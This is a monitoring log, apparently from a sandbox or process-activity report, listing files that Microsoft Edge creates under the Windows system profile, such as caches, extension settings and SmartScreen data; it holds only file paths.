Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9a7e03ce51b814d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13380823126690596
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris_638343870221005468
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic_638004170464094982
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8180e3c3a78ecd22_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4fe177dc48bcaeb5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9626a09b54b19df2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\f47574d0-a8b4-490b-8835-0d435921f59b
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000002
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000002.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT~RF5ef2a.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2a83bd883cc505bb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Browser
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\82fe7b7a-8556-446c-9965-d25ef5a27670.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\c3c621bf5aa4f114_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2e0995500af195c4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b931fc6ff8856876_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\e51d215dbda79b27_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4f7e5db733228f6d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a8584b506797f5e4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fa00e0605e2f2a9a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\427ed12f80083d9f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\355018c0bc478789_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a4059ee5a75bce07_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\002543461a98bcb1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3a12ecbf3e43ece7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\17ebbb8148924f5e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\68aae4af69db730e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\eac233f365c69025_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4cb2e8551faf5b34_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\038090926af56b05_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\d8dd7116c41d75e8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b430a46d5f8b883a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6038c11eb2cee93f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5f23ac01b3b23511_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\863476f01ea8d40c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b8b2d069123ce123_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4409578f8456196c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ddaaafdfbfb061af_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\44f1997421dca3c1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9892b47df17d5725_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5af972c8b7ee6098_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\93eae4c534ef41a4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\493146bb80205982_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3d01d920f09c5762_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8efce47129c1d32c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a6ef69d92350b333_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2318c14047c90430_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\06e3f8c4509ad380_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\522d3c44dbf9d2df_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\81b62b07c9b4771b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\902dd4de5631017b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\af8966ab9f9546d2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b14bd987253be535_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3d540aa27e82fa47_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\86195d14ffd31e2f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\093e63eb63a8b292_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5e64d00c195083c0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\15df4f60a8d34ac6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\QuotaManager
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\7ee6097a-50bd-4e6a-b13d-f1e8eeebec5c
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\7ee6097a-50bd-4e6a-b13d-f1e8eeebec5c\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\QuotaManager-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\7ee6097a-50bd-4e6a-b13d-f1e8eeebec5c\index-dir
